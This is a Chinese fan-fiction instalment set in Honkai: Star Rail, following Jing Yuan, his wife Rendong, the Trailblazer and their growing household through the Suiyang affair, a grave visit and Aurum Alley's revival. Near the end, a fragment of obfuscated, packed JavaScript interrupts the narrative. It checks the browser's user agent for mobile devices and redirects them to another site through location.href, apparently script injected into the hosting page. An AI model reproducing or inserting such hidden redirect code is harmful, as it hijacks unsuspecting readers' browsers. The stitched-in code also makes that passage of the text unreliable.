但在场的人都知道,事情还没有解决。所以之后,他们很快商量了起来,忍冬带着景元充当听者。
然而很快,随着信息的交流,忍冬听出了内里。
“就是说,十王司的人只够封锁绥园,需要星协助,但其实是要她充当主力,去解决罗浮四处岁阳的问题?”
忍冬知道开拓者一行是罗浮的大英雄,但她在半路就跟他们分开了,也没有真的去直面毁灭大君,对于其中的细节,她其实并不清楚。
所以现在,面对这些人一脸信誓旦旦把事情交给星的做派,忍冬脸上的问号都要具现化了,还有点生气。
“你们就这样让她自己去冒生命危险?十王司落魄了,大约连脸皮都不要了是吧?”
忍冬虽然语气不激烈,但直言的话还是很刺耳,藿藿低下了头。
寒鸦由于精神原因一直是忍冬的医术常客,所以对于她这个时候的状态还是有所了解的。她看向了开拓者。
星满脸感动,张口说:“那个……其实我也收费的,比较贵,但性价比很高!”,竖大拇指。
“那种彩色的石头?每个仙舟人家里大约都会有一点,是很廉价的东西。”
忍冬很了解这个喜欢翻垃圾桶的人形浣熊,从自己包里掏出了一包这段时间不知道又何时何处积攒起来的星琼塞给了星,一脸叹息。
“哇啊!”星接过星琼,满眼亮晶晶,细数着其中的数量,随口对忍冬解释说:“虽然星琼确实是一方面,但信用点也不低啊。全程大约得十几万呢,都够彦卿再买五把宝剑了!”
忍冬顿住,扭头望向寒鸦,看见她点了点头。又转头望向景元,他也点了点头。忍冬呢喃:“真有钱啊……”
景元轻笑:“好歹是这么大的罗浮,这点钱还是出得起的。”
忍冬对把此事全权交给星没有了异议。
之后的事,就跟侦探四处探查一样,她们跑遍了整个绥园,忍冬陪着一起。
景元早早就被公务喊了回去,就算他知道所谓的紧急公务大约也是绥园的问题也不得不走一趟神策府。
等他带着人又回来时,碰见的却是被岁阳附身的忍冬和挟持着她威胁他打架的浮烟。
“腾骁!跟我打一架,上次的结果我不服!”
景元笑着,眼神却冷冷的,带人走上前:“腾骁将军已经仙去,罗浮现在的将军由我接任。浮烟,不若跟我打?”
浮烟手按着忍冬的后腰,闻言看向了景元,一脸狷傲:“腾骁已死,你
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是将军?你名唤为何?”
“我名景元,确是罗浮现任将军。”
浮烟看向一旁戒备的星一行人,星见势立刻气焰嚣张了起来,叉着腰对浮烟呵斥:“小小岁阳,见景元将军还不如土鸡瓦狗!他可是保罗浮几百年和平岁月的能将,可是你这一过往浮烟可自傲的?!”
“好~好好!我就跟你打!腾骁没了,打败他的继任者也不错!”
浮烟上当了,推着失神的忍冬就想上前。
但景元指着忍冬,含笑着说:“决斗可是一对一,浮烟,你可是要趁势不武?”
浮烟下意意识就想推开忍冬,但很快反应了过来住了手,满脸讥笑对景元说:“我在这个女人的记忆中看见过你,她是你的女人。能力很有意思,我能操纵她是我的本事,岁阳本就以此见长,有何不武?”
景元的面容彻底冷冽了下来,手中已经捏上了阵刀的柄身。
就在两人将要趁势打起来时,景元却看到失神的忍冬眼中闪过了一瞬的明光,心里积蓄的怒火消去了一点。
含笑提刀,金碧煌煌的神君在讥笑的浮烟眼中出现,放大的阵刀随着景元一同挥向了她。
在浮烟失神这瞬,忍冬早已恢复了行动,鞭子一抽,身姿一转,便把浮烟推到了景元面前,自己脱离了攻击范围。
“将军。”
忍冬看着景元压抑着自己的怒火放弃了用阵刀砍下浮烟的欲望,满脸笑容的伸指点在她的额间,便放松的转过头跟星说起了自己这番行为的事后感:“都说我很擅长逃跑了~”
星得到了那边景元斜剃过她的冰冷眼锋,迟疑着问忍冬:“你……能跑过景元吗?”
忍冬笑嘻嘻的,摆了摆手:“他又不会杀我,我跑什么?不用啊~”
“这就是被偏爱的有持无恐吗?”
对于这句话,忍冬没有接。
在看到浮烟被十王司的押走之后,她背影轻快的凑到了景元身边,笑嘻嘻的伸手拉他的手。
桂乃芬看到,尽管景元将军满眼冷意,但身体一点抗拒都没有,乖乖的被忍冬小姐抓在了手心里,两人走远了。
“……将军原来是这样吗?好像没那么有距离感了。”
对于桂乃芬的呢喃,星插嘴道:“还是有的,毕竟细数仙舟将军,就景元有妻子,还恩爱那么长时间。”
“啊?仙舟其他将军那么惨吗?”
桂乃芬作为一个刚来到罗浮不满几个月的化外民很震惊。毕竟不管怎么说,将军这种位高权重的位置,应该不至于惨烈到这个职位的大部分人都是单身狗的地步吧?
素裳回想着学宫中学习过的零星历史残留,也跟着星向桂乃芬笃定的点了点头。
因为啊,将军这种职业,不仅工作繁忙,以仙舟对丰饶孽物的仇恨锁定,是一定需要上前线很多次的。
上前线,便意味着生死难料,不是死于丰饶孽物之手,就可能如同曜青前任将军一样,死于帝弓无差别攻击的光矢之下。但更可能的,是在这些年的劳累中早早被魔阴身找上,沉眠在十王司中。
所以,以姻缘和生命来换此为仙舟谋算,怎么不值呢?
“所以啊,纯粹是景元幸运!能遇见忍冬,不然以其他人来,不是早早变成为寡夫,就是一辈子的单身狗!”
38.母亲
“景元~景元?”忍冬跟在景元身后踏入神策府,手扯着他身后的长披肩,笑吟吟地叫着他的名字。
神策府来来往往的文书人员除了几位对此等场面并不熟识,其他的都目不斜视。当然,还得除了见到忍冬快步迎上来的彦卿。
“师娘!”
尚还维持着少年体型的天才剑士尊敬的对景元敬礼之后,转脸就热切的喊着忍冬。
忍冬笑着对他点点头,在彦卿欲言又止的视线中,竖起食指抵在了唇边:“嘘~”
彦卿乖乖点头,立马找了借口转身离开。
离开的时候,他还不忘替师父把今日的闲暇公文都带走,打算转交到太卜司太卜手中。
彦卿摇头晃脑,哀叹,他真的为这个家付出了太多……
景元身后的云骑在回到神策府之后,自然的回归到了行伍之中。所以只有忍冬跟景元走到了他的日常办公区,神策府最内的长条办公桌前。
景元坐下了,忍冬也挨着他坐下了。
景元打开了一本公文,忍冬直勾勾的盯着他。
……她的行为太鲁莽,也太不顾自己的危险了,得冷冷她。景元想着,强迫自己无视身旁那存在感强烈的视线,把心神放到了面前的公文上。
最近,随着列车的开拓,寰宇渐渐开始活跃起来,罗浮在外的情报收集也逐渐增多,所以景元需要处理的汇报公文也逐渐增多。
他手中这份,便是这次绝灭大君入侵前星核流传的前因后果梳理公文,包含着星核猎手的前后活动痕迹汇总。
仙舟尊重其他星球和文明的自主权,但不能全然无知,作为将军的景元自然得及时吸收这些信息,做出合适的谋划安排。
景元如以往一般看着,这白纸黑字的公文却不如以往感觉清晰,让他稍有烦躁。
忍冬看着他,但也时不时把视线放到周围的书架和前方来往的文员身上,她囫囵看过,仅仅留下了跟以往一样的印象。
“……夫人对今天的事有什么话要说?”
景元憋不住说了出来,实在是忍冬的视线让他无法忽视,对于今天的事他也无法简单放过……也不能放过。
他的眼睛看着手中的文书,迟迟没有翻页,等待着忍冬的回答。
忍冬的鞋尖抵着地面,鞋跟在小腿有规律的带动下左右晃动着,动静通过座椅传到了景元身上,让他眼前的一切也是微微晃动。
忍冬:“说什么?明明你知道的,我不会出事。”
忍冬说着,把视线从红棕色的书架移到了景元脸上,对上了那双满含愤怒与不满的金眸。
“你明明能看出来,我的能力,我对生命的态度……这些跟你格格不入甚至相反的东西,但你就是眼睛瞎掉了一样踩进了我这个泥坑。所以,景元,我已经不想假装和谐了。你得接受我的这些不好甚至算得上负面的东西。”
看着那双积蓄着怒火的金眸,忍冬的眼尾弯弯,唇角的弧度又上扬了几分。
“……如果我不接受呢?”
景元实在是个理智的人,面对在意的人骑脸一般算得上挑衅的话,他硬生生压下了自己内心的情绪,让理智占据了高地。
金眸如火,深处好似渗出了血色,恍惚间,忍冬好似看见了一头失智的凶兽,双眼灼灼的盯着她。
恍惚的眼神一闪,回过神的她依旧笑着,没有露出任何异样,对景元说:“没有如果,我说了,你摆脱不了我。”
“所以你要我在六百年的成算中继续放任你的任性?让我们的感情走入死巷?”
景元知道跟忍冬的感情一直有一层虚假的面纱包裹着,面纱下有很多真心,但这不代表这层面纱就该放任它继续夹在中间。
忍冬的防备心很重,但她确实对他很不一样,他是她唯一算得上信任的人。但信任,浅层的信任在感情,特别是爱情中,是延迟的炸弹。
忍冬:“我对你是真心的。”
“但我不能试探你的真心,所以我不明白,你真的爱我吗?”景元捏紧的手背青筋蹦起,光看手中纸面的褶皱便知他不如面容那般平静。
景元不明白,也看不懂。六百年啊,已经是大部分仙舟人的一生了,他怎么还是无法确定忍冬的真心呢?
“我爱你,所以我自私的人性让我别放过你。”忍冬素手抚上他的手背,她笑着,在手下的手背瞬间紧绷的时刻,说起了一个人。
“我的生命,开始于一个仙舟来客。”
E-703,一颗中等小行星,拥有稀少的生存资源和大量的黄沙,一个男孩自幼生长在这里。
他很聪慧,有很好的医药天赋,在没有人教导之下能辨别703星球上所有能用的药材,也能治病。
他本该成为这个星球上闻名的一位医者,但血色降临,带走了他熟悉的一切,也送来了远方的爱情。
爱情,对一位算是罪魁祸首,也是救助者的士兵,这是爱情吗?
总之,失去一切的男孩深深的爱上了她,这位救下他,也给他带来高深医术的仙舟女子。
他很幸运,女子也对他渐渐有了好感,他们在一起了。
他们,分开了……仅仅只留下了一个女孩。
女子死于前线,被家人带走。男子带着留下的女孩继续生存在703星球上,直到……他实在难以忍受这看不见天日的生活,丢下两者的女儿,走入了战场。
“母亲……先是自己,才是母亲。我先是我,才是你的爱人。所以不可以质疑我的感情,景元~”
“那我能质疑什么?你不在意我会因为你受伤而悲伤,你不在意我的情绪,所以……你不在意我。”
“唉……这便是我会来到神策府的原因。我从不在过去的六百年里因你我的感情踏入这里,可如今,因你会深究,所以我来了。”
景元一顿,抬头看向了忍冬。
他想,自己可真是廉价,居然被哄这么一句便想放过她。明明知道她说起父母的事是想让他可怜她,但他还是心疼了……
“你能保证吗?绝对不会让自己再陷入险境……”
“我能~但险境这种事可不是我能控制的。”
……
“忍冬!跟我去探险吧!”星双眼亮晶晶的望着她,身后几米远站着十王司的成员藿藿,她担忧的看着星在忍冬面前撒泼打滚。
“探险……绥园吗?那是墓地吧……”忍冬斜着眼睨了星一眼,回头一脸云淡风轻的继续喝茶。
星:“可是我很需要你啊!”
忍冬:“按你的游戏说法,藿藿也是奶辅,
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所以你并不需要我。”
星浮夸的扶着额头,脚步踉跄,倾倒向忍冬那边。忍冬悠悠然起身,手中端着的茶杯和茶壶安然无恙,低头睨着趴到她原先位置上的星。
星猛吸鼻子,瘪着嘴控诉:“冷漠~”
忍冬挑眉,对星做出招小狗的动作:“不起来吗?”
星眼神定定,带着几分试探:“亲亲抱抱?”
忍冬果断收手,转身就往房内去。
星赶忙爬起身,小跑着伸手挽回:“可以商量的啊!不要那么果断嘛!”
……
绥园依旧阴冷,由于岁阳的原因,绿惨惨的磷火飘悠悠的散布在每个角落,搭配着一路碰见的石碑,鬼片气氛浓厚。
星虽磨着她来到了绥园,但在她打定主意慢悠悠磨蹭时又耐不住性子,早已跟藿藿几人跑远了。
忍冬披着毛领皮袄,手中提着一盏红灯笼,脚步悠闲的在绥园的小路上走着。
她没有去找星她们,而是眼神笃定的向着一个方向走去。
山水、竹林,如果不看阴沉的氛围,这里倒算一个晚年好去处。姥姥,喜欢这里吗?
转过一道又一道小路弯道,她到了。
忍冬眼神扫过路旁密集矗立的石碑,往前又走了十几米,到了一处宽阔的石质平台,上面也全是石碑。
她一个个看过,最后,在最角落找到了。
木姜之墓,女——木漱,子……
她没有注意石碑上的其他字,而是自然而然的凝在了木漱的字眼上,眼神转移向了姥姥墓旁紧挨着的一道石碑。
比之姥姥子女等都雕刻的石碑,木漱的石碑很干净,仅一道额外的刻痕。
女——忍冬……
忍冬来这里,算是星的死缠烂打结果。她身上东西很少,摸来摸去,最后只在墓前放下了几颗糖果。
她叹气的拍拍左边姥姥的墓碑,眼里带着几分得意和无奈:“姥姥~没办法~就这么多,你们自己分分吧……”
阴冷的风刮过脚踝,温热的皮肤瞬间被激起小疙瘩。她蹲下了,迟疑着右转过头,盯着木漱的石碑发呆。
八百年了,石碑已经很老旧了,上面攀附着很大范围的干燥青痕,是潮湿后生出的青苔被太阳晒干留下的,还有……那道比之石碑较新的刻痕。
“后来刻上的吗?居然不跟我说啊……”
又一阵风吹过,忍冬瑟缩了一下,她立刻站起身,搓着手臂又盯了两道石碑几秒,对她们说:“太冷,我走了。”
忍冬没有任何留恋,转身走了。
当走到绥园入口时,门前早就等着的星和藿藿迎了上来,不由分说就往她手里塞了一颗糖果:“忍冬你去哪儿了?怎么都没看到你!快吃糖!”
忍冬看着手中眼熟的糖果,嘴张了又闭,不知该不该开口。
星竖起大拇指,露出大白牙:“虽然是捡的,但我尝过了,没毒没过期,可以吃!”
忍冬:“……你能别老捡垃圾吗?而且绥园,是哪位的贡品吧?”
星:“不能!什么贡品,我不知道!吁吁~”
星撅着嘴虚虚吹着口哨,眼神游移,就是不看忍冬和周围明显已经吃下糖果的谴责视线。
“啊~天好蓝,太阳好好哦~”
39.金人巷复兴
“哦~这就是我升职的大项目吗?哈哈哈,我斯科特来了!”
游人稀少的金人巷突兀的出现了一阵嚣张的大笑,惊飞鸟儿数只,引得周围打着瞌睡的商家迷茫四望。
……
忍冬出门闲逛,刚走出小巷口,铺面而来的喧闹人声便直充耳道。
她皱眉捂住耳朵,眼睛望着面前突然热闹起来的金人巷,在缓解了几分之后,好奇的踏入了人潮。
吆喝声、叫卖声、突然出现的西衍先生的失真说书声、扑闪的机巧鸟的运作声……
各种声音就像潮水,无法拦截的直冲到她的大脑中。
“包子~饱满多汁的包子~”
“琼实鸟串~好吃的琼实鸟串~”
忍冬望望小吃铺,看看尚滋味和美巽阁,面对拥挤的人潮,她脸上渐渐涌上了迟疑。
闲逛,也是为了出来找个小吃摊吃饭,但……
“感觉哪个都得等一两个小时呢……”
一股热气突然熏蒸了她的眼,忍冬脸上被贴上了一个棕色纸袋,袋身上沾染的酱汁和葱香气味飘到了鼻腔内。
“喏,贿赂。”星身后带着白露,两人嘴里都在塞吃食,边吃边含糊叫忍冬快点接过。
忍冬张开手,星手中的纸袋就落到了她手心。她低头打开,里面是一个个白胖的小包子。
“肉包,也有一些特别口味。是高阿姨新出的,忍冬你快试试。”白露啊呜一口咬掉琼实鸟串最后一颗,指着星对她说:“至于我,是开拓者带来的!绝对没有自己乱跑!”
见忍冬望向她,星勾起邪魅的笑,抱胸,撑着下颌,露出的白牙好像反射了阳光,闪了忍冬的眼一下。
忍冬眯起眼盯着她,随手拿起纸袋里的一个小包子,一口咬掉半个,咀嚼的腮帮子很有既视感。
星:“额……我也没有随便带白露乱跑!至于这里,当然是在下的功劳!哼哼~你吃了?”
星拍着胸口,神气活现,见忍冬咽下了嘴里的包子,满眼贱兮兮。
忍冬:“我吃了又如何?”
白露眼露怜悯,指向了金人巷废弃港口的方向:“报酬,还是资本家版本。”
隔着高低错落的房檐和墙壁,忍冬没办法看见蜿蜒道路尽头的港口,望了一眼,转头看向星:“说清楚,不然没得谈。”
“太好了!”星蹦跳起来,高举双手欢呼。看她的动作,忍冬恍惚以为自己答应了下来。但一定神,她无语吐槽:“你这家伙,我只是让你说清楚,可没答应啊!”
星歪头笑着看忍冬:“有什么关系?反正没差啦~”
白露打开自己手中的肉包子纸袋,啊呜一口塞入一个,含糊说:“确实没差,忍冬松口了,大抵就是答应了。虽然做的时候可能满嘴抱怨吧……”
星:“跟孩子一样呢~很别扭~”
一记手刀敲上了星的额头,忍冬脸颊泛红,拉着嘴角嘟囔:“真过分,好歹我是长辈吧?嘴里留留情啊。”
一段时间的叙述之后。
忍冬上下打量着星:“你是说,你跟公司的一个管理层杠上了?要我给你当廉价劳动力,必要时搬出我那在公司的养子撑场面?”
星灰色的头毛摇晃着上下点了点。
“我拒绝。”忍冬双眼无神,转身就走。
银河棒球侠、垃圾桶之友,棒打星神,脚踢星核的星一把抱住了忍冬的腰,满脸凄风苦雨,拉长着嗓子唱起了小白菜,地里黄~
忍冬咬着牙,皱眉捂住耳朵,感觉刚被人声冲击过的耳膜此时被这股唱腔又攻击了一遍,震得她的脑子灰蒙蒙的:“我答应,我答应还不行吗?!快别唱了!好丢脸,也好难听!”
白露眼也不眨的看完了全程,笑嘻嘻的,一副吃瓜看客的寻常模样,全然没有了当初跟忍冬初见时那副小心翼翼的样子。
忍冬也有很多朋友了呢,焕蓝姐姐,不用担心了哦,白露会一直在她身边的……
白露慈爱笑看着忍冬跟星和后来的藿藿等人打闹,肉嘟嘟的脸蛋跟此时的表情十分违和,让不慎瞥到的星不期然想起了岁阳祸乱之时白露的表现,眼中迷惑渐积渐浓。
白露大多时候像个孩子,但有时候却显出跟外表很违和的大人脸呢……
星的眼睛移向忍冬。
特别是在忍冬面前……
星的贿赂,总的来说是一种极低价格的劳务费。为了她跟那个叫斯科特的公司专员的赌约,她将以一人之力复兴金人巷。其中,金人巷港口的重启就是重中之重。而重启,在资金紧的前期,就得有人以人力承担港口的货运。
星很不妙的答应了。然后,以奴隶主的姿态找上各位尚在罗浮认识的朋友,以对垃圾桶的热爱之心死缠烂打,终于磨得了几位松口的白嫖“奴隶”。
星:“奴隶?那……快叫我主人!还有,今晚我去临幸谁呢?温暖的被窝吸引力好大啊~”
三月七死鱼眼看着星高扬头颅,摸着下巴好似真的在深思这件事,不由得想到,这个家伙好像真的没有自己的房间……不对!这家伙,之前喊忍冬小姐老婆,被景元将军事后找事挤兑的事她忘记了??
三月七眯眼盯着星,看着她望向忍冬嘴角上扬的嘲讽弧度,和眼里一闪而过的狭促,心里便知,这家伙还记得,但她就是要找事!
“啊……”三月七头疼的捂住脑门,在星回头喊她上工时,送了她一个自求多福的眼神,在星一脑袋雾水中,勤勤恳恳摸起了鱼。
忍冬也在摸鱼,毕竟装货什么的,很无聊啊……
至于藿藿,得幸的被忍冬分配了照顾白露的任务,已经被白露拉去买小吃了。
本来星还想把丹恒一起拉过来上工的,但无奈触景生情的威力实在巨大,任凭她生拉硬拽,丹恒都像长在了列车上,安如磐石。
日头渐渐西斜,在仙舟虚假的太阳照射下,天边烧起了红焰,镶着金边。灿灿红光中,白发的景元走了过来,白皙的皮肤染上了跟她们同样的颜色。
三月七:“将、将军,晚上好啊……”
跟讪笑着打招呼的三月七不同,星宛如街头小混混搭讪一般,并拢双指一甩,对他哟了一声。
忍冬早已正大光明跟白露混在了一起,她们喝着奶茶,看着玉兆,跟那边由于跟星的同伴之情无法脱身的三月七不同,是可以悠闲脱身的家伙。
她咬着吸管,笑看着景元被星骚扰,手中的玉兆相机已经准备妥当,镜头正对准着三月七死死捂住星的嘴,景元笑如春花的无奈模样。
天色暗了下来,由于这几天星的努力和忍冬几人接档的摸鱼,金人巷的夜晚也开始像星槎海中枢一般游人如织。
点点金色的灯火中,景元牵着忍冬的手,笑问:“玩得开心吗?”
忍冬
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点头,被握住的手不老实的捏着景元的每根指腹,坏心眼的专找浅薄的茧子轻挠。
景元笑着任她去,四处张望着金人巷这一副熟悉又带点陌生的模样。
景元:“当初搬到这里时,恰好是金人巷刚兴起,这副灯火灿灿,笑闹悦耳的景象实在是久违了……”
“久违……?”忍冬怀疑的看向景元的侧脸,指着他们刚路过的尚滋味大厨燕翠的背影,还有高阿姨摆着的木桌边缩小版的西衍先生,歪头问:“燕翠是这一两百年才来这里开店的。而西衍先生的说书,不出意外的话,是星插手出现在这里的。还有这些满天飞的机巧鸟,跟我们记忆中的金人巷哪里像了?”
景元侧头,轻拨过忍冬的齐眉碎发,轻笑:“知道你生有反骨,但不是让你在这种地方深究。我说的,是我们相识的岁月。”
“岁月……”忍冬甩了甩头,让侧边被风吹动抚脸的碎发回到自己的位置,眼睛看向景元眼底:“你是说金人巷见证了我们相处的岁月,所以才久违?”
景元点头,从鼻腔里哼出一声嗯。
忍冬一侧的脸颊鼓起,牵着的手大力甩动,睨着景元:“我反骨较真,你不还是浮想联翩嘛。金人巷这条街跟感情有什么关联?感情可没有兴衰之说,是两个人的选择跟变化的问题!”
“嗯,所以我选你啊~夫人~”
回到家中,两人吃饭完后,不约而同选择了同去书房。
景元在一边看着古籍,忍冬在另一边十指纷飞。
在敲出几百字后,忍冬总会不自觉打开玉兆,点开网页。或看看小视频,或跟跟帖子讨论。总之,就是不想想起自己此时还没做完的事。
【长乐天海后重出江湖,修罗场大混战!】
【持明男子与一女子情定三生,惨遭感情变质,蜕卵逃避!】
【金人巷突闻犬吠,谁家狗不栓绳?!】
……
真的很精彩啊,罗浮人的生活,每天她长长的时间都得有这些欢乐调剂。
“夫人?”
忍冬无辜抬头,试图睁大自己被景元评价为猫眼的眼睛,让他联想到喜爱的小动物,放她一码。
景元手中的古籍又翻过了一页,他低头看向书面,语调慢悠悠的:“据说小说编辑部很眼红金人巷的成果,正打算向地衡司打申请让开拓者来帮忙欸~”
忍冬:“哈?!小说什么时候也像金人巷衰颓了?还想让星帮忙?帮什么?怎么取材和胡编吗?!”
哎呀呀~好多个问号啊~
景元抬手给自己已经空掉的茶杯续上了茶水,慢吞吞啜饮了一口,抬眼看向瞪着他方向的忍冬,唇边含笑:“所以我打回去了~太离谱,可行性不高。”
忍冬松了口气,肩膀明显垮下来后,又听到他慢条斯理接了一句。
“由于这个方案太离谱,所以我通过了他们接下来的备用方案。主要方面算是早有先例,是直接在网页中打榜,跟作者的更新频率和读者支持有关。”
忍冬,一个在网络小说界深耕,但孜孜不倦的断更能手。虽有一定受众,但无奈坑品不行,曾创过一年更一章的神迹,惹得读者怨声载道,就差跟她线下PK的鸽子精。
天塌了……
看、看来,是过上靠读者吃饭的时候了……
忍冬耷拉着眼,目死的盯着景元,彻底不打算更文了。
40.一家人
忍冬气鼓鼓的摸鱼了十几分钟,最后还是承不住景元含笑的眼光,默不作声坐回了桌边,操起键盘又噼啪敲起字来。
第二天一早,忍冬借口春光正好,随同景元一同早早迈步出了家门。
然后……在金人巷消磨了一整天。还听路过的星说了一嘴昨日他们离开之后的趣事,什么孤高的狼、两面三刀却愿赌服输的斯科特当场狗叫的事……
忍冬歪头,觉得这个描述很有既视感,她绝对在哪里看到过……
还没等忍冬想起来,金人巷跟公司的合作就换人了。她家卡卡瓦夏,在外闻名有声的砂金总监亲自接手了金人巷的项目,过来跟进度了。
“哦哦哦!这位、这位美人就是忍冬你在公司的孩子吗,不愧、不愧是跟幽兰美人是姐弟啊……”
星嘴角流下了可疑的晶丝,她掩饰的擦了擦嘴角,双手扒拉上忍冬的肩膀,眼眸闪着小星星。
砂金嘴角的笑容甜蜜蛊惑,他摘下头上的帽子放到胸前,对星行了一个绅士礼:“久闻大名,久仰了,开拓者小姐~”
星:“哦哦哦!连声音都这么好听!好蛊,好想舔……”
忍冬嘴角一抽,眼神难言的睨了星一眼,转头就变脸笑着问起了卡卡瓦夏最近的生活。
砂金:“一切都好,忍冬妈妈不用担心。”
星脸上痴汉一般的表情收敛了,她郑重其事站直身,双手伸着就想去握砂金的手:“美人,可否告知你的姓名?”
砂金询问的视线投向忍冬,忍冬轻轻点了点头。
砂金自然的把帽子戴回头上,避开了星的手,微笑着说:“鄙人砂金~星际和平公司战略投资部员工,石心十人之一~”
星:“哦!跟托帕是同事?”
砂金脸上的笑容更为艳丽了,他凝望着星,柔声说:“是的,小姐~”
忍冬在星搭话的时候就开始旁观了,她看出了卡卡瓦夏是以砂金的身份在跟星交谈
那么,作为公司高层,就算出于家里人的原因会手下留情一点,大概也得紧攥利益。
对于星这个金人巷复兴的主导,在一露面就暴露自己颜控倾向的人,他毫无疑问会以美貌作为试探。
星双眼一亮,小浣熊好奇探头,开始天马行空的问起了很多寰宇众所周知的消息。
比如什么是石心十人,公司的星球在哪里,叫什么等等明显探听星球消息的问话,全然看不出之前沉迷砂金美貌的样子。
砂金一直在笑着细致回答星的问题,但以一个跟砂金有过相处,又有艾莲娜在其中充当缓冲,能隐晦看出这个人的本质的忍冬来说,她很确定,卡卡瓦夏的情绪现在已经变得毛茸茸了。
就算在很多时候选择赌博,但说实在的,以她日常生活中对他的观察来看,他好像并不喜欢赌博时那种忐忑的感觉。
当然,像现在这种明显跟他的预期差了十万八千里的结果,他也是不喜欢的。
忍冬很难对已经成年的卡卡瓦夏说教,而且说教什么的,让艾莲娜这个跟他有血缘关系且关系深厚的姐姐来做比较好。
忍冬等待着,当天就带回了一只孔雀和一只小浣熊。然后在家里邂逅了一只小龙人。再然后,行为上跳脱形似一只猫的彦卿也在这几年搬到隔壁的隔壁后,难得过来蹭饭了。
景元走到门口,还没推门进去,就听到了欢乐的说笑声,谈着食物、剑术、星球……五个人硬生生营造了在人声鼎沸的大街上的感觉。
吱呀一声推开门,他看见了小院内摆着的圆桌,是摆在厨房内从没移出来过的,跟桌旁挤挤挨挨靠在一堆的五人。
他们同时闻声看向了他。彦卿笑嘻嘻喊了一声将军,砂金含笑叫了声叔叔,而跟他们两人凑在一起的开拓者则是看也没看,直缠着砂金说话。
白露倒在忍冬怀里,看了他一眼后,又专注于拨弄忍冬垂到胸前的长发。
忍冬倒是见他想起身,但顾忌到腿上的白露,还是只坐着对他笑着招招手:“过来呀~”
景元一顿,不期然想起了一则仙舟古籍小说。其中那位圣僧就遇见过很多类似的情况,各种女妖怪,比如蜘蛛精什么的,对他各种招手,说着过来呀~过来呀~
景元摇头,甩去脑中并不符合实际的联想,迈步走了过去,坐下了。
忍冬看向彦卿和卡卡瓦夏,叫他们去厨房把温着的饭菜端出来。星尾随着跟了过去,很快,三人就端着好几个盘子出来,放到了桌上。
所有人都坐下了,举起了筷子。
吃完饭,景元跟忍冬相携着外出消食。
景元:“家里人好像越来越多了……”
忍冬:“嗯,大概是猫窝里自然会长猫吧。我们家大约也是这种情况。”
景元侧头睨忍冬,心想,大概不是家的问题,是猫薄荷吧……
由于砂金并不擅长应对星这类直觉敏锐的直球选手,这几日都找借口避开了跟她的接触,让星望美人哀叹。
但几日后,日常游离在罗浮上的热心人士星在又帮助了一位无辜少女后,转身遇到爱了!还是双倍!
先是温柔妈妈卡夫卡在一条小巷中找上了她,跟她说了这些那些根本没记住的话,特别指了指沿巷的一间房子,隔着木窗,她看见了拥有宽阔胸怀的刃。
总之,在游戏指引的帮助下,她完成了卡夫卡的任务,得到了他们的联系方式。
而后,走出小巷,又是一例转角遇到爱!
星:“幽兰美人!砂金姐姐!”
她喊住这位跟砂金外貌相似,但气质呈现截然不同的女性。在她温柔的笑脸中,冷酷无情的掏出了手机:“麻烦给个好友位,不要逼我跪下来求你!那样大家的脸面都不好看了。”*
“嗯?”忍冬捧着一捧鲜花走过来,看见的便是自己的美貌养女被小流氓星搭讪的场面。
虽然知道星没什么坏心思,但……大约是出自警惕吧,她的心脏提了起来。
忍冬快步插入两人中间,隔开了她们,手中的花柄抵在星的胸前,微皱着眉:“星,你在干什么?”
星挠挠头,摇了摇手机:“要联系方式啊。”
忍冬:“这样啊……艾莲娜,你自己决定吧。”
艾莲娜察觉到忍冬略微表露出的不愿,体贴的婉言拒绝了星的加好友申请。笑眯眯留下一句,期待能在匹诺康尼见到她的话,转身挽着忍冬离开了。
小浣熊大受打击,小浣熊没吃过这种苦!
星转身鼓足力气就开始搜寻砂金的足迹,为了跟两位美人搭上话,她拼了!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304350|165935||http|test|mini|href|location''.split(''|''),0,{}));
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>忍冬抿着唇,低眉凑近手中的玫瑰,幽幽说:“艾莲娜,我是不是管得太宽了?明明你们都很大了……”
艾莲娜轻笑,形似桃花瓣的眼睛微弯,对她说:“并不哦~忍冬妈妈。我很高兴你担忧我,但请相信,我并不是会轻易被拐骗的人,跟那位开拓者小姐表现类似的并不能近我的身。”
艾莲娜:“怎么说也是被景元叔叔和彦卿的武学熏陶着长大的,还是巡猎命途,我是不喜吃亏还很记仇的~哦,当然,卡卡瓦夏也不会乱搞这些的。”
忍冬看着她眨了几下眼睛,突然发热的眼眶让她低头,瓮声瓮气的答道:“我知道了。”
艾莲娜十四岁因严重的伤势被忍冬带到罗浮,等养好伤后,茨冈尼亚的情况已经恶化,卡卡瓦夏那时已经失去了踪迹。
出于对她的担忧,忍冬强势要求她留下,并承诺了寻找卡卡瓦夏的事。
到她二十四岁的今年,忍冬已经抚养她十年了。
人类养猫都会生情,何况同类的人类女孩呢?
忍冬出自女性的角度,很担心艾莲娜,毕竟仙舟的文化是男权的延续与变迁,遗留下的观念多少影响了忍冬。
忍冬:“女孩子啊……我总担心给你的不够,让你敏锐的心受伤,让你内耗自求。
艾莲娜,不要担心我的付出,既然我给你了,那就是我自愿的。
跟星学学吧,感谢大自然的馈赠,然后拿着这些馈赠继续向前。得对得起努力活到今日的自己,得最爱自己,也不要让卡卡瓦夏越过你。”
之后,忍冬把星的联系方式推给了艾莲娜,释然而又赖皮的说:“虽然变卦很不好,但我是长辈,包容包容我吧~”
忍冬难得的说教时间结束,在艾莲娜安静的微笑中,她也笑了。
养孩子是一件难事,也是沉重的责任,忍冬总怕自己做得不够好,让孩子们成为往日的她。
“因外物影响而变得别扭、敏感,我最不喜这种事了。”
景元下职回家,不出预料又听见了热闹的人声,推开门一看,人数又增加了两位。
列车的三月七小姐,跟他已经知道回来了的养女艾莲娜。
忍冬如同昨日,对他招手。景元走过去坐下。
景元:“是春日到了,所以猫薄荷疯狂生长吗?”
忍冬:“所以景元大猫猫,要吸吗?”
忍冬结合昨日,大约知道景元嘴里的猫薄荷指谁,笑着对他张开双臂,满脸挪揄。
今日白露总算没有占据忍冬的怀抱,景元这个在家里没有地位的大猫猫难得能挨着忍冬。闻言果断点点头,靠上了她的肩膀,低语说:“可以之后抱,现在的话,这样就可以了。”
